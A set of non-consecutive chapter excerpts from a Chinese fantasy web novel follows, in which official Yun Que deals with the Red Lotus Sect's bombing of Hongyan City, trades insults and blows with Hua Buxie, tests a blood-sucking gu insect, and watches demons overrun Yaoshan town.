“在!最近堂主始终坐镇在堂口,每天都要清点货物,从早上忙到天黑,估计现在还没忙完呢。”石头道。 云缺望向上官鸿途,道: “擒贼擒王,大人,这个胡子令狐豪是至关重要的人物,放走谁,也不能放走他。” “除非他到了五品境界,否则这次他插翅难飞!”上官鸿途信心十足的道。 “红莲教运来的货物都在何处。”云缺又问了问石头。 “就在堂口!很大的一个院子,后院都堆满了,小山一样高!我们只管运货,晚上都是堂主亲自看管,外人一概不许接近。”石头道。 “你估计有多少箱子。”云缺道。 “少说五百箱左右,全用油纸封着的。”石头道。 “五百箱……”云缺皱了皱眉,道:“这么多军械,他们从何处弄来的?” “端掉老巢,再追查货物来源,不难查出线索。”上官鸿途道。 云缺点头认可。 反向追查,往往更加容易。 红莲教送来的这么多货物,无论陆运还是水运,都会牵扯到很多人,顺藤摸瓜,即可追查到来源。 刑部调兵的速度极快。 不到一顿饭的时间,陈洲骅已经调动了万名守军。 刑部掌管天下刑罚之政令,但凡涉及到案件,均有权调动当地军兵。 以侍郎的权利,调集万人轻而易举,驻扎鸿雁城的一名将军更亲自率兵赶来协助。 是个中年汉子,五大三粗,有着六品宗师境修为。 上官鸿途,陈洲骅,加上鸿雁城的将军,此次行动已经汇聚了六位宗师境武者! 算上万名守军与刑部三十多位令史,哪怕红莲教藏着五品高手,也能将其困住一时。 守军一到,上官鸿途立刻下令,包围红莲教的堂口。 石头见大军出发,急忙道: “大人!有两个漏网之鱼在青楼,其中一个是副堂主!阴险狡诈无恶不作,他要是逃了,天理难容啊。” “对方什么修为。”云缺道。 “七品武者!”石头道:“还有个跟班,应该有八品修为。” 云缺略一思索,朝上官鸿途请命道:“大人,我去抓那个副堂主。” 上官鸿途颔首道:“好,带几个人以防万一。” “不用,我自己就够了。”云缺道。 陈洲骅笑道: “大人放心,云老弟的战力,在我们刑部绝对位列前茅!别说对方是个七品,六品他也不惧哈哈!” 上官鸿途自然得知了昨夜里发生的郡主遇袭事件,对云缺早已另眼相看,嘱咐一句后带队出发,前往红莲教的堂口。 云缺则与石头转向青楼。 石头此刻变得趾高气扬,跟一头有主人撑腰的凶犬似的。 “副堂主叫什么。”路上,云缺问道。 “名字可怪了,叫云老鬼,他那个跟班瞎子叫牧小妖,肯定是假名字,没准以前都是惯犯!”石头道。 听闻副堂主的名字,云缺觉得奇怪起来。 云老鬼,牧小妖? 这名字怎么听着像骂人呢。 第155章 死无全尸才叫痛快 上官鸿途的伤势太重,耽搁下去肯定没命。 云缺让常威和瞎子帮着陈洲骅照料幸存的同僚,他背起上官鸿途赶往天祈城。 御风车早被炸成了齑粉,鸿雁城里现在根本找不到马,即便找到也是受惊的马匹,无法行路。 云缺以脚力赶路。 七品武者的速度尽数爆发,一步数丈,比御风车还快。 石头正在城门口心惊胆战的等着,看到云缺狂奔而来,立刻大喜。 “云大人!你没事就好!” 一句话没等说完,云缺已经飞掠而去。 从黄昏直至午夜,云缺终于赶到皇城。 进城后不找医馆,直奔学宫。 上官鸿途的伤势,医馆治不了,只有去回春殿才有希望。 到了学宫,正好黑面虎宋道理今夜巡查,黑着一张脸,站在大门口。 “宋先生通融一二,刑部侍郎大人为救一众下属险些丧命,情况危急,需要尽快医治。”云缺焦急道。 本以为黑面虎会为难,不料宋道理沉着脸道: “上官鸿途曾经于学宫求学,亦是学宫学子,把他交给我即可,你去忙吧。” 宋道理接过上官鸿途,身形晃动了一下便消失在原地。 云缺终于松了口气。 上官鸿途到了回春殿,就算保住一条命。 云缺没进学宫,直接返回刑部,找到尚书姜落君禀报鸿雁城发生的经过。 姜落君一身官袍,端坐在刑部大殿,脸色阴沉。 这么晚了不仅他没睡,文武百官估计今晚谁也不敢睡,都在等待巨响的真相。 姜落君摩挲着右手上的黑铁戒指,听云缺讲述完整个经过,一掌拍在木桌上。 坚固的大桌被砸了个粉碎! “伤我刑部侍郎,红莲教好大的贼胆!” 姜落君的脸色变得很难看,对云缺道:“随我进宫面圣。” 云缺本不想去,去了肯定挨骂,可身为刑部官员,尚书大人下令,他没办法只能跟着。 果不其然, 皇帝得知了鸿雁城发生的一切后,指着姜落君的鼻子,从半夜一直骂到快天亮,口水都喷尽了。 皇帝真正愤怒的,并非死了几十万百姓,而是鸿雁城的伏妖大阵被毁掉。 大晋百姓无数,死多少,皇帝其实都不在乎,但伏妖大阵只有三座,那是殷子受辛辛苦苦打造的招牌! 伏妖大阵越多,百姓就会愈发敬仰他这位皇帝,如今轻而易举就被毁掉一座,殷子受哪能不恨。 骂归骂,皇帝并未责罚姜落君。 殷子受很清楚,红莲教用了鱼死网破的手段,这次去的是刑部也好,禁军也罢,谁到了都是一个后果。 等骂够了,殷子受脸色铁青的吩咐道: “红莲教一案,移交司天监!你们刑部不用插手了!都回家养伤去罢!” 姜落君和云缺几乎是被轰出的金銮殿。 堂堂刑部尚书,今天把老脸全部丢光。 直至傍晚,陈洲骅等人相继归来。 看着一群衣衫褴褛的令史,姜落君摇头苦叹,命众人这些日子养伤即可,等伤好得差不多了再回来。 反正最近刑部算清闲了。 皇宫血案的贼,抓不到,璇玉郡主的踪迹,找不到,终于有了红莲教的线索,还差点全军覆没。 至此,刑部在六部面前更抬不起头来,经常被人私底下议论,有人还给刑部改了个名称,戏称为饭部。 饭桶的饭。 意为刑部里都是一群只会吃闲饭的饭桶。 云缺在刑部帮着常威和瞎子重新录入身份,又给了石头一百两银票,将其打发走了。 石头没有修为,不堪大用,用一次就够了,再用的话,很容易丢命。 石头千恩万谢,带着忐忑的心情离开了刑部。 他这次实在被吓到了。 本以为帮着刑部做眼线,凭着机灵劲儿肯定没什么危险,结果险些尸骨无存。 陈洲骅简单包扎后,唉声叹气的道: “这叫什么事儿啊,一桩功劳飞了不说,差点全军覆没,唉,不知侍郎大人能不能熬过来。” “以回春殿的医术,上官大人定可逢凶化吉。”云缺道。 “希望如此吧,侍郎大人平日里严苛,其实面冷心热,算上这次,侍郎大人已经救过我两条命了。” 陈洲骅回忆道:“十年前我还是个刑部令史,只有七品修为,追查一桩凶案,那凶手连杀百余名少女,手段残忍血腥,我追查两月有余才将其拦截,结果对方不但是七品武者,还是兄弟两人,我不是对手被打个半死差点咽气,是侍郎大人及时赶到将凶手击杀,救了我一命。” “吉人自有天相。”云缺道。 尽管之前并不了解上官鸿途,但在鸿雁城那句宗师不可辱,足以证明上官鸿途是个大义之人,对属下不惜以命相护。 以上官鸿途的半步金身修为,他若独自防御或者以身法躲向远处,绝不会落到如今这么严重的下场。 云缺暗自感慨, 大晋国的皇帝阴险无情,臣子当中却有大义无私之人。 皇帝无情,臣子大义,简直是一种讽刺。 当晚,云缺在城里找了个酒馆,与常威瞎子三人喝了顿酒。 “今后有什么打算。”云缺道。 “先放松放松,逛逛天祈城,抬着头走在街上的感觉,我都快忘了。”常威感叹道。 “逛够了我和大当家再寻摸个小买卖,盘个小店铺啥的,只要有了正常身份,凭我们的本事肯定饿不死。”瞎子喝着小酒道。 “最好再讨个婆娘,安家置业。”云缺道。 “不讨了,我这辈子不配有婆娘,更不配有儿女,等我快老死的时候,我会去投河,尸体喂鱼,尸骨化泥,下辈子不做人,做条鱼,沉在水底,永不见天日。”常威说着说着,眼圈有些发红。 这是常威对自己的惩罚。 抛妻弃子之人,连他自己都无法原谅自己。 “投河不如投军,军伍生涯你最熟悉,立了战功,哪怕战死沙场,也有脸去见家人。” 云缺这番话并非为了大晋着想,而是因为常威本就是军旅世家,像他这种多年的悍匪,很难真正融入到普通人的生活,与其背负着妻儿亡故的悲戚孤苦终老,不如上阵杀敌,杀他个痛快淋漓。 “是个好主意,我这种人就该战死沙场,死无全尸才叫痛快!” 常威喝了一大碗烈酒,道:“可惜大晋之内没什么战场,连草原那边听说都太平得很,想要打仗实在无处可去啊。” “战场,很快就会有的。” 云缺望着酒杯里的倒影,道:“我们小瞧红莲教了,他们有备而来,这次鸿雁城之劫,恐怕仅仅是个开始。” “打起来最好!红莲教有的是钱,他们的钱最好赚,嘿嘿。”常威道。 “我和大当家混进红莲教没俩月,连蒙带骗的至少赚了上千两!”瞎子眉飞色舞的道。 云缺笑了笑,喝掉杯中酒,道: “杀红莲教,也算替大当家的妻儿报仇。” “二当家此话怎讲?我和红莲教好像没什么深仇大恨。”常威疑惑道。 “红莲教能把军械顺利运出八山城,大当家觉得,八山城里难道会没有红莲教的人么,佟岐这些年赚了多少银子,他的钱,未必只出自赌坊。”云缺道。 “有道理!佟岐那狗东西肯定与红莲教有往来!他娘的红莲教,老子跟他们没完!”常威怒道。 云缺之所以由此推测,是有根据的,百玉城的负易就是最好的例子。 吃完酒,云缺与两人告辞。 临别之际,常威十分凝重的道: “这次若二当家没来,我和瞎子早死在堂口了,你救了我们的命,今后有什么吩咐尽管说!刀山火海,皱一下眉头我是狗娘养的!” “对!二当家千万别拿我们当外人,有事儿您吩咐,别的不行,刺探消息这一块我瞎子最拿手了嘿嘿。”瞎子跟着承诺道。 云缺没多说什么,朝着两人抱了抱拳,就此离去。 回学宫的路上,云缺始终在沉思,复盘着红莲教的整个计划。 红莲教的力量,比任何人想象的都要强大,单单弄到那么多的硝石,便可见一斑。 红莲教的冷血,也超出了很多人的预料,对方竟然用上千教徒的命当做诱饵,更不顾鸿雁城数十万百姓的生命。 如此手段,简直如同恶魔! 常威刚才的一句话,让云缺察觉到红莲教背后肯定存在着一个无形的势力。 常威说红莲教很有钱。 一个邪教而已,哪怕到处收拢信徒,也很难做到富可敌国的程度,红莲教能从各地运来硝石,这笔庞大的资金,到底从何而来? 想了一路,云缺始终猜不出红莲教的钱从何而来。 回到学宫后,先找房石买了两粒养元丹,花费六千两。 养元丹有洗练经脉滋养元神之效,是冲击六品宗师境的必备丹药,之前因为太贵,云缺没舍得买。 如今察觉到红莲教太过棘手,云缺不得不提前打算,为冲进六品做准备。 以七品修为,想要拔除红莲教,几乎没什么可能。 唯有修为高深,自己的底气才会更足。 买完丹药,云缺把宏河的那把冰晶飞剑拿了出来,问了问价格。 一看到飞剑,房石的眼睛都亮了,直接给出五万两的高价。 云缺没卖。 房石是个精明的商人,看到好东西肯定会压价,反正自己这边不急着用钱,等以后再说。 返回西楼的途中,经过北楼。 剑平之坐在大门口喝茶,看到云缺立刻招呼道: “今夜无事,该来听课了吧。” “过几天的,最近太忙,一月之内我肯定来听课就是了。”云缺敷衍了一句回西楼睡觉。 剑平之晃着脑袋,道: “世上庸人何其多,只知忙碌不知闲……” 第二天。 云缺照例赶往刑部。 皇帝说的只是气话,除非重伤需要修养,轻伤的如果不去上衙,轻则挨骂重则乌纱不保。 本想着到天牢服用养元丹修炼,结果刚进刑部,就看到个熟人。 司天监的花不谢,面无表情的坐在大厅里。 见云缺到了,花不谢站起身,用没有任何感情的语气道: “司天监调令,调集刑部人手协助办案。” 云缺呵了一声,道: “调人啊,行啊!反正刑部现在没几个好人,想要调谁,花大人自便。” 花不谢抬手指向云缺,冷漠道:“不需要旁人,只调你一个。” 第156章 我忍你很久了 司天监的调令,云缺无法拒绝,敷衍的拱了拱手,听从调配。 司天监没有多少实际权力,平日里的存在感也不强,但地位在刑部之上,皇帝下过圣旨,如果遇到诡案,人家有权征调六部乃至禁军协助办案。 “不知花大人想要下官如何协助。”云缺往旁边一坐,心不在焉的道。 “卷宗库,我要一切与红莲教有关的卷宗,你全部整理好。”花不谢毫不客气的命令道。 云缺带着对方来到刑部卷宗库,一顿翻找,将关于红莲教的卷宗全拿了出来。 看完卷宗,花不谢道: “将此次鸿雁城围剿红莲教的所有前因后果,全部写出来,包括所有细节。” 云缺找来纸笔,开始书写经过,从石头这个眼线开始写起。 好不容易将大致经过写完了,花不谢看了两眼后,道: “带上纸笔,跟我走。” 两人离开刑部。 先在城里找到石头。 暗中跟着石头半天,观察其一路的行踪。 石头干起了老本行,继续替人要债,在东家面前点头哈腰一脸讪笑,要债的时候横眉立目一脸凶相。 半天后,花不谢放弃观察。 正好晌午,云缺以为对方饿了,该吃口饭了,结果花不谢马不停蹄的赶回司天监,找了个空屋子,审讯犯人一样,让云缺将如何安排石头混进红莲教的所有经过仔细写出来。 云缺没办法,饿着肚子开始写。 写完后,又跟着花不谢返回刑部查卷宗,这次是查云缺自己的。 看过云缺曾经在天牢里的经历后,花不谢面无表情的吩咐道: “把你的来历,身世,从小到大所有的经历全部写出来。” “我又不是红莲教的人,查到我头上是什么意思?”云缺怒道。 “口说无凭,鸿雁城劫难涉及数十万百姓之死,乃大晋立国以来最大的惨案,其中包括上万守军,那些死掉的守军是听从刑部调令而来,你们刑部去鸿雁城,又是因为石头这个暗线,而你,是制造暗线之人,你很有可能是这场惨案的源头。” 花不谢语调平淡的说完,往大椅上一坐。 云缺压了压火气,说了句好,开始写自己的经历。 从孤苦伶仃,沿街乞讨,到助人为乐,尊老爱幼,反正有的没的一顿瞎编。 好不容易写好后,天都快黑了。 一天没吃饭,云缺饿得肚子咕咕叫,正好刑部这边开饭。 “花大人忙碌一天,尝尝刑部的饭菜可还合口。”云缺打算去吃饭了,实在太饿。 花不谢看着云缺写的经历,冷淡道: “你以往的经历很古怪,你曾以一己之力铲除乌家寨上百名战巫,说明你是个凶悍之人,但你却在藏石镇天天做好事,老人跌倒你不仅帮着扶起来,还给人家铜钱去看病,你这经历,肯定造假了,我要去藏石镇仔细调查你的底细。” “你去查吧!随便查!我去吃饭了。”云缺转身就走。 “你也得一起去,等我找到你的熟人,让其当面与你对质一番。”花不谢道。 云缺又压了压火气,道:“行,你官大,你说了算,去哪都行,等我吃完饭的。” “外面传的果然不假,刑部,该改为饭部了,整天除了吃饭,你们还会点什么。” 花不谢冷淡道:“事关鸿雁城惨案,早一天结案,百姓便早一天安稳,司天监办案从来不会拖沓,现在就跟我走。” “我饿啊!”云缺怒道:“吃顿饭才多长时间!” “你饿,是你的事,与我无关。”花不谢冷漠道。 云缺深吸一口气,重新提起笔,道:“忽然想起来点线索,我给花大人写上。” “写吧。”花不谢好整以暇的闭目养神。 云缺提着笔,沉吟了一下,为难的问道: “花大人,下官从小没怎么读过书,有个词儿不大会写,请教一二。” “什么词。”花不谢睁开眼睛道。 “公报私仇,这四个字该怎么写啊。”云缺似笑非笑的说道。 云缺现在算看明白了,花不谢就是在公报私仇! 上次救下牧青瑶的时候,自己挖苦了花不谢一路,当时对方一句话没说,还以为是个没有情感波动的工具人,结果人家记仇,趁着这次办案的机会,折腾了自己一天。 听闻此言,花不谢目光转冷,冷冷盯着云缺。 这是云缺第一次见到花不谢脸上出现神态,虽然只是冷淡,但令其整个人变得鲜活起来,不再像之前那么毫无感情,木头人一样。 云缺毫不示弱的回瞪着对方。 两人在刑部内,大眼儿瞪小眼儿的瞪了半晌。 花不谢狠狠咬着银牙道: “我忍你很久了!” 云缺冷笑道:“巧了,我也忍你很久了!” 卷宗室里还有其他刑部官差在,看到两人剑拔弩张,几个官差立刻溜了出去,在门外张望。 花不谢冷声道: “今天不将你真正的来历说清楚,你就与红莲教脱不开关系!我以司天监之令,可以关你进天牢!” “未必,本官就是管天牢的提刑官,你想押我进天牢,先问问我同不同意!”云缺回敬道。 “你敢不从,便是抗命。”花不谢道。 “抗谁的命?敢问花大人是几品官儿啊?刑部可以配合你们调遣,但不会帮你们公报私仇!借刀杀人也就罢了,借我的刀杀我,你的想象力真是天马行空啊,说实话,这种手段我上茅房的时候都想不出来,实在太臭了!”云缺道。 “你敢羞辱我,好大的胆子!”花不谢一拍桌子道。 “下官哪里敢羞辱花大人,我实话实说而已,难道司天监成了一言堂,不允许别人说实话么。”云缺道。 “你混账!”花不谢怒道。 “花大人这话说的,太见外了,好像你不是混账似的。”云缺道。 “你敢辱骂司天监,你罪大恶极!”花不谢愈发愤怒。 “不敢,我没骂司天监,我只是骂你。”云缺笑呵呵的道。 花不谢被气得额头青筋凸起,她其实也算自找无趣,跟云缺对骂,除了梅钱之外,估计世上找不到第二个对手。 “你、你、你……” 花不谢话没说完,就听云缺道。 “你什么你,你家坟头儿长大树了么。” “我、我、我……”花不谢道。 “我什么我,我在天牢挺好的,有吃有穿有凳坐,对了,看这凳子眼熟不,就是你家坟头那棵树做的。”云缺道。 花不谢瞪着眼睛,脸色铁青,一时说不出话来。 云缺的毒舌,将这位司天监高手噎得脑门子充血,眼前发黑。 “还有没有他他他,一起说出来,今天本官肚子饿,没什么力气,否则让你知道知道什么叫唇枪舌剑。”云缺道。 花不谢怒不可赦,周身法力大起,低喝道: “谨言慎行,三缄其口!” 儒家法术瞬息而现。 云缺立刻失去了声音,犹如被人卡住脖子,连空气都无法呼吸。 这种法术的用处不仅单纯的封口,时间长了足以让对手窒息而亡。 在花不谢动手的同时,云缺往前一扑,瞬间越过大桌,用两只手掐住花不谢的脖子。 卷宗室里顿时一片混乱,纸张乱飞,桌子也翻了,凳子也倒了。 门口的官差见两人打起来,急忙去禀报。 很快,陈洲骅急匆匆赶来。 一进屋,陈洲骅的眼睛都瞪圆了,一脸震惊。 卷宗室的地上,两个人正互相掐着脖子扭打在一起,谁也不肯先停手,那场面与泼妇掐架差不多。 花不谢被掐得直翻白眼,云缺也没好哪去,由于无法呼吸,脸憋得通红。 六品儒家高手,法力浑厚得很,七品武夫很难扛得住。 陈洲骅急忙冲过去拉架,几名刑部官差一起帮忙,好不容易才将两人分开。 云缺梗着脖子,花不谢瞪着眼睛,两人谁也不服,咬牙切齿怒目相视。 陈洲骅现在是欲哭无泪。 在刑部的地盘,和司天监的人打架,这种奇闻说出去估计都没人敢信。 “花大人伤到没有,要不要我去找郎中瞧瞧?” 陈洲骅陪着笑脸道:“自从上次鸿雁城劫难,云大人受了不小的刺激,最近脾气特别暴躁经常失控,花大人千万勿怪啊,我替他给您赔不是了。” “哼!” 花不谢一甩袖子扬长而去。 “唔唔!唔你老唔!!!” 云缺在后边大吼,由于法术作用尚未完全消除,说不出完整的话来。 陈洲骅听那语调都知道是骂人呢,急忙捂住云缺的嘴,等花不谢离开刑部才松手。 “云大人呐,你是我们刑部的祖宗啊!” 陈洲骅愁眉苦脸的道:“司天监的人你都敢动手,禁军里的将军在人家面前也得毕恭毕敬呀。” “她算个唔唔!唔她唔唔!”云缺大骂。 打归打,骂归骂,云缺自然有分寸,没下重手,要不然这种近身的程度,六品儒修一拳即可轰杀。 嗓音恢复之后,云缺气冲冲去了刑部饭堂,大吃一顿,把早上中午的两顿饭全都补回来。 今天实在倒霉,遇到个丧门星。 吃饱喝足,又去东宫泡了个澡,这才神清气爽的返回学宫。 太子没在东宫,去了皇宫,最近殷子受经常叫太子去帮着处理些政务,不知是皇帝自顾不暇,还是有意培养太子。 云缺不管那套,自己泡自己的,反正东宫里没人敢管他。 回到百花殿,穹音送来个小木盒。 “答应过你的剥皮蛊炼制好了,使用的时候量力而为,觉得气血不足便立刻停止,莫要大意,否则蛊虫会吸光你的血。” 穹音自从进入学宫,始终戴着狐脸面具,只能看到一双眼睛,她不想展现容貌,否则天牢里的死人复活之事,肯定会传出去,如此一来,云缺没准会有麻烦。 “空有绝世之容,无法人前展现,可惜了。”云缺感慨了一句。 “你看过,就够了。”穹音的美目泛起笑意,她从来不在乎自己的美貌。 “我看过的美人多了,对了,问你件事。” 云缺神色一正,道:“你爹以前是邵武国的将军,应该认得邵武国很多高手对吧。” “父亲交游广阔,的确认得很多人,怎么了。”穹音疑惑道。 “你父亲有没有提起过一个叫做楚红莲的人。”云缺神色凝重的问道。 第157章 一身全是嘴 之所以询问穹音,是因为云缺怀疑红莲教与邵武国有关。 红莲教的财力太过惊人,背后肯定有强大的势力支撑,而邵武国别看近年来与大晋相安无事,其实始终惦记着晋国这块肥肉。 前朝大燕的时候,邵武国始终在寻找机会吞没燕国,只是从未成功而已。 邵武国就像一头装睡的狼,蛰伏在大晋附近,等待时机,咬上一口肥肉。 红莲教的存在,在云缺看来有可能是邵武国的一份黑手,用来削弱大晋。 “楚红莲……” 穹音思索了良久,缓缓摇头道:“我没听过这个名字,邵武国的朝堂上没有此人。” 穹音不认得,云缺略微失望,又问道: “璇玉郡主你应该知道吧,她在邵武国地位如何。” “邵武国有很多郡主,郡主没什么地位可言,金枝玉叶而已,邵武国没有灵芸郡主那般万民敬仰的郡主,不过璇玉郡主的父亲御王朱寿,却手握大权,朱寿主要掌管边军,是邵武国皇帝的左膀右臂。” 提及御王朱寿,穹音的声音变得无比冷冽。 因为朱寿,就是觊觎穹音穹舞美貌,当年陷害穹家的元凶。 回到西楼后,云缺始终皱着眉。 璇玉郡主已经失踪多日,从路程计算,人家也许逃回了邵武国。 邵武国很有可能借此事大做文章。 璇玉郡在王府里的处境肯定不太好过,被欺负甚至被打骂都有可能。 郡主受了欺负逃回娘家,只要这个娘家不是弱小的势力,一定会来讨要说法。 邵武国自然不弱,而且比大晋要强大得多。 反正头疼的是殷子受,云缺散去思绪,打开小木盒查看蛊虫。m.33qxs.m 不看不知道,一看吓一跳。 剥皮蛊实在太丑了! 巴掌大小,扁平的身体遍布绒毛,身后有一条老鼠尾巴,身侧是两排细爪,头部生着蚊子般的口器。 这玩意乍一看,就像蜈蚣老鼠和蚊子融合在一起的变异怪物。 尽管云缺斩妖无数,看到这种狰狞的蛊虫,还是直皱眉。 换成旁人,怕是看一眼就得赶紧扔掉。 尤其是女孩,绝对会尖叫不断,这东西简直是少女的噩梦! “穹音该不会要害死我吧?” 云缺嘀咕着将剥皮蛊从盒子里拿了出来。 蛊虫现在是无主状态,浑浑噩噩,不知逃走,但身体被抓住后会自然而然的晃动挣扎。 这一晃,显得更恶心了。 云缺紧紧皱着眉,咬了咬牙,将蛊虫放在左臂上。 剥皮蛊嗅到血肉气息,立刻将口器扎进皮肤,贪婪的吸食起来。 云缺仔细感受着血液的缓慢流逝,眉头渐渐舒展开来。 还别说, 剥皮蛊吸血的位置,确实是血肉比较薄弱之处。 由于武夫气血旺盛,流逝的血液很快得到补充,如此循环之下,左臂相当于不断在强化。 云缺一边感受着这份奇怪的感觉,一边思索着下一处强化的位置。 想着想着,神色古怪起来。 身体其他部分都好办,一块一块吸呗。 但要害处怎么办呢? 这是个问题。 很大的问题! 正胡思乱想着的时候,云缺发现剥皮蛊两侧的细爪越抓越紧,很快那些细爪纷纷扎进皮肤,能看到一条条红线从细爪中流进剥皮蛊的身体。 “嘶!嘶!嘶!” 云缺一个劲儿抽冷气,他现在恍然大悟。 原来剥皮蛊不止头部一个口器,一身全是嘴! 不到一炷香的时间,剥皮蛊灰色的虫身几乎转为血红。 云缺将其从手臂上抓了下来。 也就是七品武夫,换成八品都扛不住。 第158章 放大师姐出来咬人 路边,荒林。 云缺趴在一棵大树的树杈上,一身树叶,连嘴巴里都是,头顶还插着根树枝。 幸亏飞行法器飞得不算太高,云缺直接掉在林间,挂在了树上,看着狼狈,并无伤势。 花不谢更狼狈,挂在另一个树杈上,原本整整齐齐的短发现在乱糟糟一团,领子被树干洞穿,挂在树上跟个吊死鬼差不多。 “呸呸!” 云缺吐出嘴里的树叶子,一晃身跳落地面,抬头骂道:“你会不会飞啊!不会飞就骑驴!” 花不谢一时下不来,把领子撕开才落地,顶着一头鸟窝般的乱发怒视着云缺,道: “你身上怎么会有那么恶心的虫子!” “当然是疗伤用的,一只小虫把你吓个半死,司天监的人果然金贵。”云缺道。 “我最恨虫子!再让我看见你身上的虫子,别怪我动手。”花不谢冷声道。 “又没非让你看,你自己好奇怪谁。” 云缺冷笑了一声,心说你不是恨虫子,而是怕虫子,剥皮蛊都能吓个半死,我身上还有一只更大的虫子呢,看到非得吓死你。 花不谢面无表情的整理了一下头发,当先走出荒林。 距离鸿雁城已经不远,两人步行赶到城内。 如今的鸿雁城,满目苍夷,到处是废墟。 百姓们有的枯坐在废墟里发呆,有的到处乱翻寻找着失踪的亲人,哭泣声哀嚎声不绝于耳。 半个鸿雁城被炸毁,剩下的另一半虽然还算完整,有许多幸存的屋舍,但这次劫难的阴影已经笼罩在所有人的心头。 望着路边凄惨的百姓,花不谢的眉头微微锁着,心情沉重。 城门口附近搭建着帐篷,架着大锅,守军在施粥,排队打饭的百姓数以千计,看不到排尾。 自从灾难发生后,天祈城派来了大批军兵,协助鸿雁城守军清理废墟,重建城镇。 但这么大一座城,想要恢复原样,绝非近期能做到的。 残破的鸿雁城,如同一块狰狞的伤疤,就此刻在了大晋百姓的心头,也刻在了皇帝的脸上。 距离施粥帐篷不远的一块石头上,坐着个五岁左右的小女娃,端着空碗在发呆。 小女娃脸上黑一块红一块,沾着血迹和泥巴,身上的衣服也脏兮兮的,但看得出是件新衣服。 花不谢的脚步停在小女娃近前。 她走过去轻声问到: “怎么不吃饭,排队就可以打到热粥,能填饱肚子。” 轻声细语,十分温和,与花不谢平日里的一张死人脸截然不同。 云缺好奇的瞥着对方,没想到花不谢居然也有表情。 小女娃看了看空空的饭碗,又抬头看了看花不谢,好像犯了错似的垂下头道: “我不吃,阿娘说做错事的孩子,不许吃饭。” 见小女娃说得可怜,花不谢揉了揉对方的头,道: “你是个小孩子,即便做错了事也没人会怪你,你阿娘不会忍心让你饿肚子。” “我……我做了很大的错事。”小女娃显得十分内疚,眼泪在眼眶里打转。 “你爹娘在何处,我帮你去说情。”花不谢道。 “不见了,都不见了……”小女娃瘪着嘴,忍着不哭,可眼泪还是不争气的落了下来。 花不谢深吸一口气,一时说不出话来,眼眸里除了同情之外,更多的,是愤怒。 愤怒着红莲教的恶行! 云缺蹲在小女娃面前,道: “小妹妹,你到底做错了什么事,我是刑部的官差,我来分辨一下,如果你做错了就不许吃饭,如果你没错,那就可以吃饭了。” 对付小孩子,云缺是有经验的,那就是融入小孩子的世界。 孩童的世界其实很简单。 并没有多么复杂的道理可言,但前提是,能理解她们的世界才行。 第160章 我成了猴 妖山镇。 平日里热热闹闹的小镇,今天死一般的宁静。 镇上的商户全部大门紧闭,街上一个人影也看不到。 住在镇子里的人们,此时全部躲在家中,大气不敢喘,瑟瑟发抖。 空旷的长街上,一头三眼妖狼缓慢走过,狼眼赤红,嘴角残留着大片血迹,獠牙之间还塞着碎肉。 妖狼停在一处酒楼门口,仰起头,嗅了嗅二楼一处紧闭的窗口。 窗内,一座客人被吓得体若筛糠,面无人色,从窗户缝隙能清晰看到妖狼血红的眼睛。 狼妖可能吃饱了,对酒楼里的食客不感兴趣,闻了闻便离开。 空旷的小镇里,遍布着十几头恐怖的妖物,三眼妖狼只是其中之一,还有双首巨蟒,獠牙如刀的庞大猪妖,时而能听到惨叫声在小镇里响起。 平日里,作为观光妖山最佳之地的妖山镇,今天成了妖物泛滥的绝险之地! 妖狼离开后,酒楼里的客人好不容易才从桌子底下爬起来。 这些人都有官身。 为首之人是个瘦高的中年人,此人正是礼部侍郎,牛大空,在别吉面圣那天,找云缺麻烦的那位。 陪在牛大空旁边的两人,一个五大三粗,另一个长着一双小脚,正是刚刚升迁不久的马庸和牛不才。 马庸满头冷汗,颤抖的小声道: “早听说妖山镇能观妖,怎么连街上都有?该不会是假的吧?” 牛不才脸色苍白的道:“三叔,皇城这边的景致,都这么惊人吗?” 牛不才的三叔,正是牛大空,两人是亲叔侄,牛不才和马庸的官职能升得这么快,正是牛大空这位礼部侍郎的功劳。 马庸和牛不才上任后,照例打点上下,不出一月便与同僚混熟,这几日休沐,两人听说妖山镇能观妖,于是请牛大空一同来妖山镇玩乐一天。 结果刚来镇上,还没等菜上齐呢,居然有妖物出现在小镇。 牛大空两只手不停的颤抖,低声道: “那是真、真妖!我今天倒霉透顶,跟你们两个混球来什么妖山镇!这下回不去了,非得被妖物吞掉不可!” 马庸和牛不才本来怀着一丝希望,以为妖山镇里的妖物是假的,或者是驯服的妖物用来表演,结果一听牛大空此言,两人吓得瘫倒下去。 原本是来观赏妖物,看个新鲜,结果到了才发现,自己是被观赏的那个! “完了,完了,小命要交代……”马庸绝望道。 “本想去猴山看个猴,结果我成了猴……”牛不才泪如雨下。 整个妖山镇都笼罩在绝望当中。 活着的百姓提心吊胆,不知什么时候会被吞杀。 但也有不在乎的。 一处空荡荡的包子铺里,坐着个魁梧的壮汉,此人带着硕大的斗笠,斗笠边缘垂下黑纱,遮蔽了容貌。 别人都躲在家里不敢吭声,这位就坐在路边,将刚刚蒸好没人敢吃的包子往自己面前一摆,一口一个,大吃特吃。 吃包子的响动,很快引来了三眼妖狼。 妖狼停步在包子铺附近,龇起獠牙,喉咙里发出低沉吼声。 壮汉理都没理,自顾自的吃着包子。 吃完了一屉包子后,妖狼还在旁边吼。 壮汉听得不耐烦,将蒸屉扔了出去,砸在妖狼头上。 第164章 人头送你 云缺的泰然自若,与其他刑部高手形成鲜明对比。 连花不谢都有些佩服云缺的定力。 仇家就在眼前,还能如此冷静,说明人家心智过人,有大将风范。 其实花不谢想错了。 屁的大将风范,云缺只是在拖延时间,等后边的河水灌进来而已。 云缺的冷静,吸引了令狐豪的目光,他冷笑道: “我没有给自己挖坟的习惯,这里,是你们的坟墓!” 说着令狐豪就要起身,这时云缺忽然伸手示意对方别起来,道: “不用施礼,你坐着说话就好,毕竟你是这座坟的主人,我们是客人。” 令狐豪的表情僵了一下,随后稳稳坐了下去,冷笑道: “我说了,这是给你们挖的坟!” “别那么认真,谁的坟不是坟,都是埋人用的,你就算今天不死以后也得死,早晚用得到,对了,我认识个做墓碑的匠人,手艺不错,用不用介绍给你。”云缺道。 令狐豪的表情再次僵了一下,很快回复正常道: “好哇,价钱如何,合适的话,我多定做几块,给你也带一块墓碑。” 狡猾的令狐豪,已经看出了云缺在拖延时间,他没有点破,而是配合起来。 拖延时间,代表着有更多人马抵达,来的人越多,他越高兴,因为这里很快就会成为死地。 “价钱公道,童叟无欺!” 云缺兴致勃勃的与对方讨论起墓碑来,什么款式,什么材料,甚至墓碑上的字体都事无巨细的商讨起来。 听得陈洲骅与花不谢在旁边表情麻木,一众刑部高手瞠目结舌。 这是拼命来了,还是做生意来了? 